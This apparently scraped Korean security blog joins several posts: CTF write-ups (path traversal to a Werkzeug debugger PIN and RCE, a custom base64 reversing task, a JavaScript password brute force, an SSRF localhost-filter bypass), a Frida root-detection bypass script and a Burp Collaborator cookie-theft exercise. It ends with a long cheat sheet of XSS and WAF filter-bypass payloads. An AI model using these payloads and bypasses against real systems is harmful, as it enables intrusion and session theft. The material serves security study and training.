app.py

경로 필터링이 전혀 없는 Path Traversal / LFI(Local File Inclusion) 취약점 발견

<path:file>은 슬래시(/)도 그대로 받기 때문에 /etc/passwd 같은 절대경로나 ../../ 상대경로를 그대로 넣을 수 있음

@app.route('/<path:file>')
def file(file):
	return open(file).read()

 

 

 

Dockerfile

/flag가 chmod 111(실행 전용, r-x가 아니라 --x--x--x)로 설정돼 있음

즉 읽기 권한이 없어서 open('/flag').read()로는 못 읽음 실행은 되지만 읽을 수 없는 파일

→ 이걸 "실행시켜서 출력을 받아내는" RCE가 필요

RUN gcc /app/flag.c -o /flag \
    && chmod 111 /flag && rm /app/flag.c

 

 

 

 

Werkzeug 1.0.1은 알려진 Directory Traversal 취약점이 존재

응답 해더에 노출된 정보

 

 

 

 

Flask를 debug=True로 실행하면 에러 발생 시 브라우저에 Werkzeug 인터랙티브 디버거가 뜨는데

이 콘솔에 PIN만 뚫으면 임의 파이썬 코드 실행이 가능함

app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)

 

 

 

Flask 앱을 debug=True로 켜면, 코드에서 처리되지 않은 예외(에러)가 발생했을 때 브라우저에 Werkzeug 인터랙티브 디버거라는 화면이 뜸

이건 원래 개발자 편의 기능 — 에러가 난 그 스택 트레이스 위에서 직접 파이썬 코드를 실행해보면서 변수값을 확인하고 디버깅할 수 있게 해주는 콘솔이지.

그런데 이건 완전한 파이썬 REPL

os.system(), os.popen() 뭐든 실행 가능

그래서 이걸 아무나 접근하게 두면 바로 RCE(원격 코드 실행)가 되는 거고, Werkzeug는 이 콘솔에 접근하려면 **PIN 코드(보통 9자리 숫자)**를 입력해야 함

 

PIN 구하기

Werkzeug 소스에서 PIN을 계산하는 함수를 확인 가능

https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py

 

 

 

PIN 계산에 사용되는 값

  • username (앱 실행 유저) — Dockerfile에서 $user = dreamhack로 이미 확인됨
  • modname (보통 flask.app)
  • getattr(app, '__name__', getattr(app.__class__, '__name__')) — Flask
  • getattr(mod, '__file__', None) — Flask 라이브러리 경로 (예: /usr/local/lib/python3.8/site-packages/flask/app.py)
  • 머신 고유값들: uuid.getnode()(MAC), machine_id(/etc/machine-id 또는 /proc/self/cgroup의 값 등)

 

 

 

 

 

machine_id 관련 파일들

/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup

 

 

 

 

@app.route('/<path:file>')에서 URL이 /etc/machine-id면, Flask는 라우트의 구분자로 쓰인 맨 앞 / 하나를 떼어내고 <path:file>에는 etc/machine-id (맨 앞 슬래시 없이)가 들어감

그러면 코드에서 open(file)을 호출할 때:

open("etc/machine-id")

 

 

슬래시 두 개 써서 절대경로 만들기

http://host3.dreamhack.games:18629//etc/machine-id

 

 

연속된 슬래시(//)를 자동으로 슬래시 하나로 합쳐버림...

 

 

 

 

 

 

  • 요청: /..%2fetc%2fmachine-id → 디코딩되면 /../etc/machine-id
  • 라우트 /<path:file>이 맨 앞 슬래시 하나만 구분자로 소비하고, 나머지 ../etc/machine-id 전체가 file 변수에 그대로 들어감 (슬래시가 하나뿐이라 병합될 것도 없음)
  • 코드에서 open("../etc/machine-id") 실행
  • 현재 작업 디렉토리는 WORKDIR /app이고, /app은 파일시스템 루트 바로 아래 있으니까 ../로 한 번만 올라가면 / (루트)에 도달 → /etc/machine-id를 정확히 가리키게 됨
  • curl이나 브라우저는 HTTP 요청을 실제로 보내기 전에, URL 경로에 있는 .이나 .. 같은 dot-segment를 RFC 3986 규칙에 따라 알아서 정리하므로 ../를 ..%2F로 인코딩해야 함

 

 

 

 

 

 

 

확인한 PIN 함수로 PIN 구함

 

 

 

 

에러페이지에서 코드 부분에 마우스를 올리면 콘솔 아이콘이 나타남

 

 

 

 

콘솔 아이콘을 클릭하여 디버거 콘솔에 계산한 PIN을 입력하면 

콘솔 사용 가능

 

 

 

flag 파일을 읽으면 끝

 

 

 

 

 

 

 

문제

 

 

 

텍스트 파일 3개와 핵심 문제 파일 한 개가 존재

 

 

 

 

ELF 파일으로 확인

 

 

실행 권한을 주고 파일 실행 시 <table filename>과 <input filename>을 인자로 받는 것을 확인

 

 

 

 

 

 

entry()에서 main 함수 위치 확인

Ghidra를 사용하여 디컴파일

 

 

메인 함수 확인

 

메인 함수 코드

undefined8 FUN_0010154d(int param_1,long param_2)

{
  FILE *pFVar1;
  long lVar2;
  ulong __size;
  void *__s;
  void *__ptr;
  
  if (param_1 != 3) {
    fwrite("Usage : ./baseball <table filename> <input filename>\n",1,0x35,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pFVar1 = fopen(*(char **)(param_2 + 8),"rb");
  if (pFVar1 == (FILE *)0x0) {
    fwrite("File not found\n",1,0xf,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fseek(pFVar1,0,2);
  lVar2 = ftell(pFVar1);
  fseek(pFVar1,0,0);
  if (lVar2 != 0x40) {
    fwrite("Invalid table\n",1,0xe,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fread(&DAT_00104040,0x41,1,pFVar1);
  fclose(pFVar1);
  pFVar1 = fopen(*(char **)(param_2 + 0x10),"rb");
  if (pFVar1 == (FILE *)0x0) {
    fwrite("File not found\n",1,0xf,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fseek(pFVar1,0,2);
  __size = ftell(pFVar1);
  if (__size == 0) {
    fwrite("Invalid input\n",1,0xe,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fseek(pFVar1,0,0);
  __s = malloc(__size + 1);
  if (__s == (void *)0x0) {
    fwrite("Allocation failed\n",1,0x12,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  memset(__s,0,__size + 1);
  fread(__s,__size,1,pFVar1);
  fclose(pFVar1);
  __ptr = (void *)FUN_00101289(__s,__size & 0xffffffff);
  printf("%s",__ptr);
  free(__s);
  free(__ptr);
  return 0;

 

table 파일은 정확히 64바이트여야 하고 (0x40 체크), 전역 버퍼 DAT_00104040에 65바이트(0x41)를 읽어들임 (마지막 1바이트는 아마 null terminator나 패딩용)

— 즉 이 64바이트가 커스텀 base64 알파벳 테이블로 보임 (표준 base64 알파벳도 64자 + = 패딩 문자 조합)

  if (lVar2 != 0x40) {
    fwrite("Invalid table\n",1,0xe,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }

 

input 파일은 FUN_00101289(__s, size) 에 넘기고 그 리턴값을 printf("%s", ...)로 출력

FUN_00101289가 인코딩 핵심 로직으로 보임

  __ptr = (void *)FUN_00101289(__s,__size & 0xffffffff);
  printf("%s",__ptr);

 

 

 

 

 

 

FUN_00101289 함수 확인

 

FUN_00101289 함수 코드

undefined1 * FUN_00101289(byte *param_1,int param_2)

{
  undefined1 *puVar1;
  ulong uVar2;
  undefined1 *puVar3;
  byte *pbVar4;
  undefined1 *local_30;
  byte *local_28;
  
  uVar2 = (ulong)((param_2 << 2) / 3 + 4);
  uVar2 = uVar2 + uVar2 / 0x48 + 1;
  if (uVar2 < (ulong)(long)param_2) {
    puVar3 = (undefined1 *)0x0;
  }
  else {
    puVar3 = malloc(uVar2);
    if (puVar3 == (undefined1 *)0x0) {
      puVar3 = (undefined1 *)0x0;
    }
    else {
      pbVar4 = param_1 + param_2;
      local_30 = puVar3;
      for (local_28 = param_1; puVar1 = local_30, 2 < (long)pbVar4 - (long)local_28;
          local_28 = local_28 + 3) {
        *local_30 = (&DAT_00104040)[(int)(uint)(*local_28 >> 2)];
        local_30[1] = (&DAT_00104040)[(int)((*local_28 & 3) << 4 | (uint)(local_28[1] >> 4))];
        puVar1 = local_30 + 3;
        local_30[2] = (&DAT_00104040)[(int)((local_28[1] & 0xf) << 2 | (uint)(local_28[2] >> 6))];
        local_30 = local_30 + 4;
        *puVar1 = (&DAT_00104040)[(int)(local_28[2] & 0x3f)];
      }
      if (pbVar4 != local_28) {
        *local_30 = (&DAT_00104040)[(int)(uint)(*local_28 >> 2)];
        if ((long)pbVar4 - (long)local_28 == 1) {
          local_30[1] = (&DAT_00104040)[(int)((*local_28 & 3) << 4)];
          local_30[2] = 0x3d;
        }
        else {
          local_30[1] = (&DAT_00104040)[(int)((*local_28 & 3) << 4 | (uint)(local_28[1] >> 4))];
          local_30[2] = (&DAT_00104040)[(int)((local_28[1] & 0xf) << 2)];
        }
        local_30 = local_30 + 3;
        *local_30 = 0x3d;
        local_30 = puVar1 + 4;
      }
      *local_30 = 0;
    }
  }
  return puVar3;
}

 

 

 

입력 3바이트(local_28)를 6비트씩 4조각으로 쪼개서 그 6비트 값(0~63)을 인덱스로 삼아서 DAT_00104040(테이블)에서 문자를 치환하는 코드가 보임

-> Base64 인코딩 기법!!!

(참고: https://namu.wiki/w/BASE64 )

        *local_30 = (&DAT_00104040)[(int)(uint)(*local_28 >> 2)];
        local_30[1] = (&DAT_00104040)[(int)((*local_28 & 3) << 4 | (uint)(local_28[1] >> 4))];
        puVar1 = local_30 + 3;
        local_30[2] = (&DAT_00104040)[(int)((local_28[1] & 0xf) << 2 | (uint)(local_28[2] >> 6))];
        local_30 = local_30 + 4;
        *puVar1 = (&DAT_00104040)[(int)(local_28[2] & 0x3f)];

 

 

 

 

 

 

즉, "테이블[인덱스] = 출력문자"라는 대응관계가 존재하고 인덱스는 평문에서 직접 계산 가능

주어진 text_in.txt, text_out.txt 파일을 매칭하여 테이블을 복원

{테이블 추출 코드}

with open("text_in.txt", "rb") as f:
    plain = f.read()
with open("text_out.txt", "r") as f:
    encoded = f.read().strip()

mapping = {}     
conflicts = []

def record(idx, ch):
    if idx in mapping and mapping[idx] != ch:
        conflicts.append((idx, mapping[idx], ch))
    mapping[idx] = ch

i = 0
oi = 0
n = len(plain)
while i < n:
    chunk = plain[i:i+3]
    remain = len(chunk)

    if remain == 3:
        b0, b1, b2 = chunk
        idxs = [
            b0 >> 2,
            ((b0 & 3) << 4) | (b1 >> 4),
            ((b1 & 0xf) << 2) | (b2 >> 6),
            b2 & 0x3f,
        ]
        chars = encoded[oi:oi+4]
        for idx, ch in zip(idxs, chars):
            record(idx, ch)
        oi += 4

    elif remain == 2:
        b0, b1 = chunk
        idxs = [
            b0 >> 2,
            ((b0 & 3) << 4) | (b1 >> 4),
            (b1 & 0xf) << 2,
        ]
        chars = encoded[oi:oi+3]
        for idx, ch in zip(idxs, chars):
            record(idx, ch)
        oi += 4

    elif remain == 1:
        b0 = chunk[0]
        idxs = [b0 >> 2, (b0 & 3) << 4]
        chars = encoded[oi:oi+2]
        for idx, ch in zip(idxs, chars):
            record(idx, ch)
        oi += 4

    i += 3


table = "".join(mapping.get(x, "?") for x in range(64))
print("테이블:", table)

 

 

64개의 인덱스 중 53개만 채워진 테이블

(149바이트 평문만으로는 64개 인덱스를 전부 커버 못 함)

?hs?RF/tuI?W3d?YnSvV7OUQbZcN4J2?1GL+ejA8?r?lpg5ak?Bo0qyDHm??M9?P

 

 

 

 

 

 

flag_out.txt의 40 글자를 추출한 테이블로 매핑하여 역조회

{역조회 디코딩 코드}

char_to_idx: {'7': 20, '/': 6, 'O': 21, 'k': 48, 'Z': 25, 'Q': 23, 'I': 9, 'a': 47, 'u': 8, 'j': 37, 'o': 51, 'R': 4, '1': 32, 'b': 24, 'y': 54, '9': 61, 'c': 26, 't': 7, 'd': 13, '0': 52, 'U': 22, 'l': 43, 'W': 11, 's': 2, 'h': 1, 'e': 36, 'n': 16, 'H': 56, 'g': 45, '4': 28, 'q': 53, 'N': 27, 'A': 38, 'G': 33, 'p': 44, 'S': 17, 'm': 57, 'F': 5, '+': 35, 'J': 29, 'B': 50, '8': 39, 'Y': 15, 'M': 60, 'P': 63, '5': 46, '2': 30, 'v': 18, 'r': 41, 'L': 34, 'V': 19, 'D': 55, '3': 12}

with open("flag_out.txt", "r") as f:
    flag_out = f.read().strip()

s = flag_out.rstrip("=")          
idxs = [char_to_idx[c] for c in s]     

out = bytearray()
i = 0
n = len(idxs)
while i < n:
    group = idxs[i:i+4]
    if len(group) == 4:
        a, b, c, d = group
        out.append((a << 2) | (b >> 4))
        out.append(((b & 0xf) << 4) | (c >> 2))
        out.append(((c & 3) << 6) | d)
    elif len(group) == 3:
        a, b, c = group
        out.append((a << 2) | (b >> 4))
        out.append(((b & 0xf) << 4) | (c >> 2))
    elif len(group) == 2:
        a, b = group
        out.append((a << 2) | (b >> 4))
    i += 4

print("디코딩 결과:", out.decode())

 

 

 

 

다행히 53개의 인덱스 안에서 매핑이 되어 디코딩 성공

flag 획득

 

 

 

 

 

 

 

 

문제

 

 

파일을 다운로드 받아 확인 시 난독화 되어 있음을 확인함

그리고 제출 버튼 클릭 시 사용자 입력값을 받아 _0x9a220() 함수가 실행되는 것을 확인함

<button onclick="_0x9a220(pass.value);">Confirm</button> 형태로, input의 값을 그대로 인자로 넘기는 구조임

 

 

보기 불편하니까 개발자도구 → Sources 창에서 _0x9a220 함수 확인함

눈으로 대강 봤을 때는 file이라는 내용을 복호화하고 복호화한 내용을 이용해서 어떤 두 값을 비교해서 다르면 알림창을 띄우고 같으면 정답이 나오는 것으로 유추함

 

 

 

 

 

 

_0x9a220 함수 시작 부분과 if문에 브레이크포인트를 걸고 비밀번호로 "1234"를 입력하여 "Confirm" 버튼 클릭함

if문 전까지 실행하면 다음과 같은 결과를 확인할 수 있음

 

 

 

함수 코드를 보면

 _0x30bf04(사용자 입력값)를 _0x3eebe5에 넣고, 그 결과를 문자 배열로 바꿔서 각 문자의 charCodeAt()(= 바이트값)를 뽑음: _0x2ee89c: (16) [129, 220, 155, 219, 82, 208, ...] — 길이가 정확히 16.

임의 길이 문자열("1234")을 넣었는데 결과가 항상 16바이트로 고정된다는 건, _0x3eebe5가 입력을 고정 길이 다이제스트로 만드는 해시 함수라는 뜻

_0x2ee89c = Array.from(_0x3eebe5(_0x30bf04, null, raw=true)).map(c => c.charCodeAt())

 

그리고 같은 변수 _0x2ee89c를 인자로 두 번 넘기는 것을 확인함

_0x2fef58 = new _0x58829a['_0x14c3a3'][...](_0x2ee89c, _0x2ee89c);

 

 

디버거 Scope를 보면

description: 'Cipher Block Chaining', name: 'cbc' — 이건 CryptoJS 라이브러리가 내부적으로 CBC 모드 객체를 만들 때 붙이는 표준 메타데이터임

즉 이 객체는 CryptoJS의 AES-CBC 관련 생성자이고 인자 두 자리에 똑같은 값(_0x2ee89c)이 들어갔으니 key와 IV로 동일한 값이 쓰인다는 걸로 유추

_0x2fef58: _0x2ef5df {description: 'Cipher Block Chaining', name: 'cbc', ...}

 

 

 

 

 

 

_0x3eebe5가 어떤 해시 알고리즘인지 확인하기 위해 코드를 확인해보면

_0x3eebe5 함수 자체는 알고리즘이 아니라 어떤 모드로 수행할지 결정하는 분기점 역할만 수행하고 있음

    function _0x3eebe5(_0x2c5c24, _0xceb417, _0x169ee3) {
        if (!_0xceb417) {
            if (!_0x169ee3)
                return _0x42115c(_0x2c5c24);
            return _0x4cd335(_0x2c5c24);
        }
        if (!_0x169ee3)
            return _0x4fb15f(_0xceb417, _0x2c5c24);
        return _0x2f5ed0(_0xceb417, _0x2c5c24);
    }

 

 

 

다시 _0x9a220 함수를 확인해보면 항상 호출 시 key는 null, raw는 true임

  • key가 falsy → 위쪽 블록
  • raw가 true → !raw가 false → 안쪽 if를 건너뛰고 return _0x4cd335(data)

따라서 무조건 _0x4cd335 함수로만 들어감

_0x3eebe5(_0x30bf04, null, raw=true)   // key 자리에 null
_0x3eebe5(odradurs1, null, raw=true)   // key 자리에 null

 

 

 

_0x4cd335 함수를 추적해보면

Paul Johnston의 MD5 구현체 구조와 일치함을 확인 가능

( 참고: https://github.com/enyo/md5 )

   function _0x4cd335(_0x301302) {
        return _0x5d2b7f(_0x199598(_0x301302));
    }

    function _0x199598(_0x3e3b23) {
        return unescape(encodeURIComponent(_0x3e3b23));
    }

    function _0x5d2b7f(_0x5b26ff) {
        var _0x284707 = _0x2439;
        return _0x81c0e8(_0x1bb977(_0x36c462(_0x5b26ff), _0x5b26ff[_0x284707('0x2c', 'i4ly')] * 0x8));
    }

 

 

 

 

 

 

난독화된 코드의 최종 정리된 로직은 다음과 같음

6자리 비밀번호(입력값)를 MD5 해싱

→ AES-CBC(key=iv=그 해시)로 file 복호화

→ 복호화 결과를 다시 MD5 해싱해서 코드에 박혀있는 고정 해시값과 비교

function checkPassword(pass) {
    const key = MD5(pass);                 // 16바이트, key이자 IV
    const plaintext = AES_CBC_decrypt(file, key, key);
    if (MD5(plaintext) != "고정 해시값")
        return alert('Wrong');
    document.write(`<img src="${plaintext}">`);
}

 

 

이 구조상 정답 비밀번호를 모르면 애초에 올바른 key/IV가 안 나와서 복호화 결과가 의미 없는 바이트가 되고

그 해시가 고정값과 절대 일치할 수 없음

→ 눈으로 값 하나 찾는 문제가 아니라 사실상 AES 복호화 + 해시 비교를 반복하는 브루트포스 문제로 결론

 

 

 

 

 

 

브루트포스로 사용자 입력값을 000101부터 991231까지 순회하는 코드 생성

  • 8x/9x년생일 확률이 높다고 판단해서 연도(yy)를 99부터 역순으로 순회하도록 설정
  • 정답 판별은 _0x9a220() 함수 자체의 반환값(내부 해시 비교 결과)을 그대로 사용함 (true면 정답, false면 오답)
  • alert 창이 발생하지 않도록 설정
  • 정답을 찾으면 document.write가 페이지 전체를 덮어써버리는 걸 막기 위해 document.write도 오버라이드해서 결과 문자열(img 태그의 src 값)만 콘솔/클립보드로 뽑아내도록 처리
window.alert = function(msg){ console.log('[alert]', msg); };

document.write = function(html){
  const src = html.match(/src="([^"]+)"/)[1];
  copy(src);            
  console.log('복사 완료, 길이:', src.length);
};

for (let yy = 99; yy >= 0; yy--) {
  for (let mm = 1; mm <= 12; mm++) {
    for (let dd = 1; dd <= 31; dd++) {
      const cand = String(yy).padStart(2,'0') + String(mm).padStart(2,'0') + String(dd).padStart(2,'0');
      if (_0x9a220(cand)) {
        console.log('PASSWORD FOUND:', cand);
      }
    }
  }
}

 

 

 

위 코드를 콘솔창에서 실행하여 패스워드 값을 획득

 

 

 

비밀번호를 입력하면 노출되는 이미지를 통해 플래그 확인 가능

 

 

 

 

 

 

rooting.js

Java.perform(() => {
	let RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
	RootBeer["checkForSuBinary"].implementation = function () {
		console.log(`RootBeer.checkForSuBinary is called`);
		let result = false;
		console.log(`RootBeer.checkForSuBinary result=${result}`);
		return result;
	};
	RootBeer["checkForBusyBoxBinary"].implementation = function () {
		console.log(`RootBeer.checkForBusyBoxBinary is called`);
		let result = false;
		console.log(`RootBeer.checkForBusyBoxBinary result=${result}`);
		return result;
	};
	RootBeer["checkSuExists"].implementation = function () {
		console.log(`RootBeer.checkSuExists is called`);
		let result = false;
		console.log(`RootBeer.checkSuExists result=${result}`);
		return result;
	};
});

 

 

 

rootbeer 앱 PID 확인

 

 

 

Frida 후킹

 

 

 

루팅 탐지 우회 성공

 

 

 

 

 

 

'모바일 해킹' 카테고리의 다른 글

[안드로이드] Frida 설치(녹스)  (0) 2025.11.07

 

녹스 설치 후

 

ROOT 켜기

 

 

설정 > 태블릿 정보 > 빌드 번호 연타

 

 

 

프리다 클라이언트 설지

 

pip install frida-tools

 

프리다 버전 확인

frida --version

 

 

 

 

 

프리다 서버 설치

 

adb shell 들어가기

 

adb shell에서 CPU 아키텍처 확인 (x86->32bit, x86_64->64bit)

 

 

아래 사이트에서 프리다 클라이언트 버전과 아키텍처에 맞는 server 압축 파일 다운로드

https://github.com/frida/frida/releases

 

Releases · frida/frida

Clone this repo to build Frida. Contribute to frida/frida development by creating an account on GitHub.

github.com

 

 

다운로드한 압축 파일 압축 해제 후 안드로이드의 임시 저장 위치인 /data/local/tmp 폴더에 넣기

 

 

다시 adb shell에서 

/data/local/tmp 폴더로 이동 후 넣은 서버 파일 권한 수정 후

서버 실행

 

잘 실행됐는지 확인

 

 

'모바일 해킹' 카테고리의 다른 글

[안드로이드] 루팅 탐지 우회 (RootBeer)  (0) 2025.11.07

 

 

 

🚨 본 문서는 보안 연구 및 교육 목적으로 작성되었습니다.

실제 시스템이나 웹사이트에 무단으로 공격을 시도하는 것은 불법이며, 법적 처벌을 받을 수 있습니다.

 

 

 

 

 

버프 스위트 pro (유료)버전은 collaborator 기능을 사용할 수 있다

 

Burp Collaborator는 고유한 도메인 이름을 제공하며,

이를 페이로드에 포함시켜 대상 시스템이 해당 도메인으로 요청을 보내는지 확인 가능하다

 

Burp Suite의 Collaborator Client에서 요청 내역을 확인할 수 있으며,

발생한 DNS 조회, HTTP 요청, TCP 연결 기록을 분석할 수 있다

 

 

 


 

Collaborator를 활용한 XSS 공격 실습

 

버프 스위트 Collaborator에서 Copy to clipboard를 클릭

 

 

 

복사한 주소가 잘 작동하는지 확인

 

 

 

 

XSS 취약점이 존재하는 웹에서 복사한 url로 해당 웹의 현재 쿠키 값을 전달하는 공격을 수행한다

(쿠키 탈취)

 

 

 

 

 

공격이 성공하면

Collaborator 에서 요청 패킷을 확인할 수 있다

요청 패킷을 통해 쿠키 값이 전달됐다 

 

 

 

 

'웹 해킹 > 실무' 카테고리의 다른 글

XSS 필터링 우회4  (0) 2025.03.11
XSS 필터링 우회3  (0) 2025.03.10
XSS 필터링 우회2  (0) 2025.03.10
XSS 필터링 우회  (0) 2025.03.07
[웹해킹] Blind SQL 인젝션 자동화 도구 (python)  (0) 2024.09.03

 

 

 

특정 경로를 입력하면 요청을 보내서 해당 경로의 파일을 보여주는 웹 페이지다.

ssrf 취약점이 존재할 것 같다.

- 웹 서버가 사용자가 입력한 요청을 직접  내부 서버로 보낼 수 있을 때 발생하는 취약점

 

 

 

 

문제 파일 확인

1) flag 위치는 /flag.txt

2) 입력 값에 localhost127.0.0.1 문자열이 있을 경우 error.png를 반환한다. (필터링)

3) locla 포트는 1500~1800의 정수 중 랜덤한 값이다.

 

 

 

 

localhost, 127.0.0.1 필터링을 우회하기 위해, 

localhost를 대문자로 입력하여 요청을 보냈다.

 

필터링되지 않고 정상적으로 파일이 읽어지는 것을 확인

 

 

 

flag 파일은 1500~1800 사이의 정수인 로컬 포트에 존재하기 때문에

버프 스위트 intruder로 자동화 공격을 수행

 

 

 

길이가 다른 응답 탐색 성공

base64로 인코딩된 data가 출력됨

 

 

 

Decoder로 디코딩하면 flag를 얻을 수 있다

 

 

 

 

 

 

HTTP 매개변수 오염을 통한 XSS

  • 아래는 content_type 매개변수 URL 인코딩 없이 사용되어 매개변수 오염이 발생한 경우
  • content_type 매개변수는 URL 인코딩 없이 사용되어 매개변수 오염이 발생.
  • content_type에 악성 스크립트를 삽입하여 XSS를 우회 가능.
<a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>

 

  • 공유 페이지에서의 JavaScript 코드
<script>
  var contentType = <%=Request.getParameter("content_type")%>;
  var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
  ...
</script>

 

  • 공격 시 URL
  • 공격자가 title 파라미터에 악성 스크립트를 삽입하여 링크를 공유
<a href="/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)">Share</a>

 

  • 공유 페이지에서 발생한 XSS
  • 공유 페이지의 출력에서 content_type 값이 1;alert(1)로 되어 스크립트가 실행됨.
<script>
  var contentType = 1; alert(1);
  var title = "This is a regular title";
  ...
</script>

 

 

 

문자 이스케이프 시퀀스

  • HTML과 JavaScript에서 문자 < 의 모든 가능한 조합이다.
  • 이 중 대부분은 바로 렌더링되지 않지만, 특정 상황에서 렌더링 될 수 있는 것이 많다.
  • <
  • %3C
  • &lt
  • &lt;
  • &LT
  • &LT;
  • &#60;
  • &#060;
  • &#0060;
  • &#00060;
  • &#000060;
  • &#0000060;
  • &#x3c;
  • &#x03c;
  • &#x003c;
  • &#x0003c;
  • &#x00003c;
  • &#x000003c;
  • &#X3c;
  • &#X03c;
  • &#X003c;
  • &#X0003c;
  • &#X00003c;
  • &#X000003c;
  • &#x3C;
  • &#x03C;
  • &#x003C;
  • &#x0003C;
  • &#x00003C;
  • &#x000003C;
  • &#X3C;
  • &#X03C;
  • &#X003C;
  • &#X0003C;
  • &#X00003C;
  • &#X000003C;
  • \x3c
  • \x3C
  • \u003c
  • \u003C
 

 

 

 

 

 

 

WAF 우회 방법

 

 

URI(Data URL Scheme)

  • data: 스키마는 브라우저에서 데이터를 직접 URL로 지정하여 처리할 수 있도록 하는 데이터 URI(Data URL Scheme)
data:[<MIME 유형>][;base64],<데이터>

 

  • <MIME 유형>: text/html → 브라우저가 HTML 문서로 해석하게 함.
  • base64: 데이터가 Base64로 인코딩되어 있음을 나타냄.
  • <데이터>: Base64로 인코딩된 HTML 또는 JavaScript 코드.

 

 

  • 브라우저는 data: URL을 해석하여 text/html MIME 타입으로 실행.
  • Base64로 인코딩된 데이터를 디코딩하여 HTML 페이지로 렌더링.
  • <script>alert('XSS')</script>가 실행되며 **XSS(Alert 창 실행)**이 발생.

 

<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=>

 

 

 

HTML 태그를 활용한 우회

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script>
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X</a>
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>

 

 

이벤트 핸들러를 활용한 우회 (OnMouseOver, OnError 등)

<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME</form>
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

 

 

 

 

alert 함수 필터 우회

  • 'alert(' 문자열을 필터링하는 경우
(alert)(1);
a = alert; a(1);
[1].find(alert);

 

  • 'alert' 문자열을 필터링하는 경우
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

 

  • 백틱 사용
&#96;`${alert``}`&#96;
  • &#96;는 **백틱(backtick, ` )**을 의미합니다.
  • 따라서 실제 실행되는 코드는  `${alert``}`
  • alert```** → alert()과 동일.

 

 

 

+ Recent posts